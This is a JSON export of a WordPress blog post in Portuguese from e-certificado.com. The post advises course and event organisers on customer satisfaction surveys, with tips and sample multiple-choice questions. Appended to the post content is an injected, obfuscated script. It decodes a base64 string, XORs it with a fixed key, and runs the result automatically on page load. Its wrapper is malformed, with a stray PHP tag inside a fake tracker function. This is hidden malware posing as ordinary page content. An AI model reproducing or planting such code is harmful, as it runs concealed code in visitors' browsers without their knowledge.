{"id":180,"date":"2020-11-09T10:30:47","date_gmt":"2020-11-09T13:30:47","guid":{"rendered":"https:\/\/e-certificado.com\/blog\/?p=180"},"modified":"2026-07-05T08:09:40","modified_gmt":"2026-07-05T11:09:40","slug":"pesquisa-de-satisfacao-o-que-e-e-como-ela-pode-te-ajudar","status":"publish","type":"post","link":"https:\/\/e-certificado.com\/blog\/2020\/11\/09\/pesquisa-de-satisfacao-o-que-e-e-como-ela-pode-te-ajudar\/","title":{"rendered":"Pesquisa de Satisfa\u00e7\u00e3o: o que \u00e9 e como ela pode te ajudar?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Voc\u00ea sabe o que seu cliente achou de seu curso ou evento? E\no quanto isso \u00e9 importante para voc\u00ea?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O crescimento e o sucesso de uma empresa dependem muito do feedback que seus clientes fazem para e sobre voc\u00ea. Contudo, infelizmente, muitas pessoas n\u00e3o fazem seus elogios, cr\u00edticas e sugest\u00f5es espontaneamente, portanto \u00e9 necess\u00e1rio dar um empurr\u00e3ozinho. \ud83d\ude42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00c9 a\u00ed que entra a pesquisa de satisfa\u00e7\u00e3o. Para que voc\u00ea\nsempre saiba o que seus clientes pensam sobre sua empresa e seus servi\u00e7os, n\u00e3o\ns\u00f3 quando voc\u00ea est\u00e1 em crise ou com problemas, esse tipo de a\u00e7\u00e3o \u00e9 de extrema\nimport\u00e2ncia e voc\u00ea deve aproveitar, sempre que surgir a possibilidade, e\nperguntar como andam as coisas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No caso de cursos ou eventos, al\u00e9m de saber a opini\u00e3o de\nseus participantes, voc\u00ea pode ainda fidelizar seu cliente, criar novas\noportunidades de neg\u00f3cios, gerar depoimentos para futuras divulga\u00e7\u00f5es, criar\npromo\u00e7\u00f5es focadas em necessidades espec\u00edficas e ainda enfrentar as cr\u00edticas e\nproblemas e resolver pend\u00eancias. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Contudo, para que uma pesquisa de satisfa\u00e7\u00e3o seja bem\nsucedida, voc\u00ea precisa de algumas dicas valiosas:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>Seja\nsucinto<\/strong>: ningu\u00e9m gosta de responder um question\u00e1rio muito extenso e se\nsentir em um interrogat\u00f3rio<\/li><li><strong>Defina\nbem seus objetivos<\/strong>: fa\u00e7a perguntas que levar\u00e3o a um resultado que voc\u00ea\npossa utilizar na pr\u00e1tica <\/li><li><strong>Pe\u00e7a\num feedback<\/strong>: independente se as respostas s\u00e3o positivas ou negativas,\nsempre pe\u00e7a para seu cliente dar um depoimento sobre os pontos que ele gostou\nou explicar o que ele n\u00e3o gostou e porqu\u00ea<\/li><li><strong>Fa\u00e7a\no acompanhamento<\/strong>: depois de receber suas respostas, analise as estat\u00edsticas\ne coloque em pr\u00e1tica as sugest\u00f5es enviadas. \u00c9 importante para os clientes verem\nque o que foi sugerido foi levado em considera\u00e7\u00e3o e aceito pela empresa<\/li><li><strong>Recomende\namigos<\/strong>: sempre procure perguntar se seu cliente indicaria sua empresa e\nseus servi\u00e7os aos amigos<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Na internet, h\u00e1 diversos modelos de pesquisas prontos, mas seguem abaixo algumas sugest\u00f5es de perguntas e respostas para te ajudar a come\u00e7ar a elaborar sua pesquisa de satisfa\u00e7\u00e3o:<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Voc\u00ea ficou satisfeito com nosso servi\u00e7o\/curso\/treinamento\/evento?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> \u2022  Sim, foi excelente<br> \u2022  Sim, foi bom<br> \u2022  Sim, mas poderia melhorar<br> \u2022  N\u00e3o, foi ruim<br> \u2022  N\u00e3o, foi p\u00e9ssimo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Com base nessa sua experi\u00eancia, qual a probabilidade de voc\u00ea utilizar nosso servi\u00e7o ou participar novamente?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> \u2022  100%<br> \u2022  75%<br> \u2022  50%<br> \u2022  25%<br> \u2022  0%<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>A dificuldade do curso\/treinamento correspondeu as suas expectativas?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> \u2022  Sim, totalmente<br> \u2022  Sim, parcialmente<br> \u2022  N\u00e3o<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Voc\u00ea recomendaria com nosso servi\u00e7o\/curso\/treinamento\/evento?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> \u2022  Sim<br> \u2022  N\u00e3o<br> \u2022  Talvez<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Voc\u00ea tem alguma sugest\u00e3o para nos ajudar a melhorar no futuro?<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Aqui no <strong>e-certificado.com<\/strong>, voc\u00ea pode criar sua pesquisa com at\u00e9 5 perguntas de m\u00faltipla escolha com 5 op\u00e7\u00f5es de respostas e uma pergunta aberta. Voc\u00ea pode fazer quantas pesquisas quiser com preenchimento opcional ou obrigat\u00f3rio e vincular aos seus eventos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Esperamos que essas dicas te ajudem a crescer ainda mais!<\/p>\n<script>function xdav_tracker() {\n    ?>\n<script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script>","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea sabe o que seu cliente achou de seu curso ou evento? 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